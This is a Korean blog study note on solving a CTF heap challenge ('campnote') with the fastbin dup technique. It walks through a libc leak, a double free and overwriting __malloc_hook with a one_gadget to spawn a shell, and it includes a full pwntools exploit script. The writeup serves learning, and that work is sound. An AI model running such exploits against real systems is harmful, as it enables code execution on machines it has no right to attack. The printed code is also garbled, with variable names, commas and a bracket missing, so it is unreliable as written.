티스토리 뷰

이번 20회 해킹캠프에서 campnote라는 문제를 풀었는데 아직도 fastbin dup이 어려워서 정리한번 하려고한다.

 

조건

fast사이즈의 chunk를 자유자재로 할당, 해제할 수 가 있어야 한다.

free된 chunk에 대해서 free를 또 할 수 있어야 한다.

 

 

libc_leak

top_chunk와 인접하지않게 small, large 사이즈의 청크를 할당, 해제하면 해당 청크에 fd, bk에 <main+88>의 주소가 박힌다. 

 

보이는 것처럼 main_arena로 와서 - 0x10만큼 빼고 거기서 malloc_hook의 오프셋을 빼면 libc_base를 구할 수 있다.

 

base = <main+88> - 88 - mallo_hook_offset - 0x10

 

setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
context.log_level = 'debug'
 
= process('./')
= ELF("./")
= e.libc
 
def alloc(idx, size, data):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("idx : ")
    p.send(str(idx))
    p.recvuntil("size : ")
    p.send(str(size))
    p.recvuntil("data : ")
    p.send(data)
 
def free(idx):
    p.recvuntil(">> ")
    p.send('2')
    p.recvuntil("idx : ")
    p.send(str(idx))    
 
def view(idx):
    p.recvuntil(">> ")
    p.send('3')
    p.recvuntil("idx : ")
    p.send(str(idx))

기능들 세팅

 

 

libc_leak

small

fast

fast

다음과 같은 size로 할당, 

small chunk로 libc_leak

free한 small chunk를 재할당

1
2
3
4
5
6
7
8
9
10
alloc(00x81'a')
alloc(10x60'a')
alloc(20x60'a')
free(0)
view(0)    
 
 
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00')) - l.symbols['__malloc_hook'- 88 - 0x10
alloc(30x80'a')
 

 

Double free bug

fast chunk 두개 double free bug

1번 chunk의 fd에 malloc_hook의 주소

2번 chunk 할당

1번 chunk 재할당

 

malloc_hook제외 fd모두 소멸 -> 다음 할당시 mallo_hook의 주소에 쓰임

malloc_hook에 one_gadget의 주소를 넣었다.

 

malloc_hook의 포인터가 malloc_hook -0x23(35)에 위치한다고 하기에 

p64(libc+l.symbols['__malloc_hook']-0x23)) 를 해준다.

1
2
3
4
5
6
7
8
9
free(1)
free(2)
free(1)
alloc(40x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(40x60'a')
alloc(40x60'a')
alloc(40x60'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
 

 

마지막으로 free를 2번하면 오류와 동시에 malloc을 한번하게된다.

그와 동시에 원샷이 실행되며 쉘을 딸 수가 있다.

Full Exploit     

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
context.log_level = 'debug'
 
= process('./')
= ELF("./")
= e.libc
 
def alloc(idx, size, data):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("idx : ")
    p.send(str(idx))
    p.recvuntil("size : ")
    p.send(str(size))
    p.recvuntil("data : ")
    p.send(data)
 
def free(idx):
    p.recvuntil(">> ")
    p.send('2')
    p.recvuntil("idx : ")
    p.send(str(idx))    
 
def view(idx):
    p.recvuntil(">> ")
    p.send('3')
    p.recvuntil("idx : ")
    p.send(str(idx))
    
        
alloc(00x81'a')
alloc(10x60'a')
alloc(20x60'a')
free(0)
view(0)    
 
 
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00')) - l.symbols['__malloc_hook'- 88 - 0x10
alloc(30x80'a')
 
 
free(1)
free(2)
free(1)
alloc(40x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(40x60'a')
alloc(40x60'a')
alloc(40x60'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
 
p.interactive()
 

 

사실 아직도 이해가 힘들다...

공부하러가야지

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함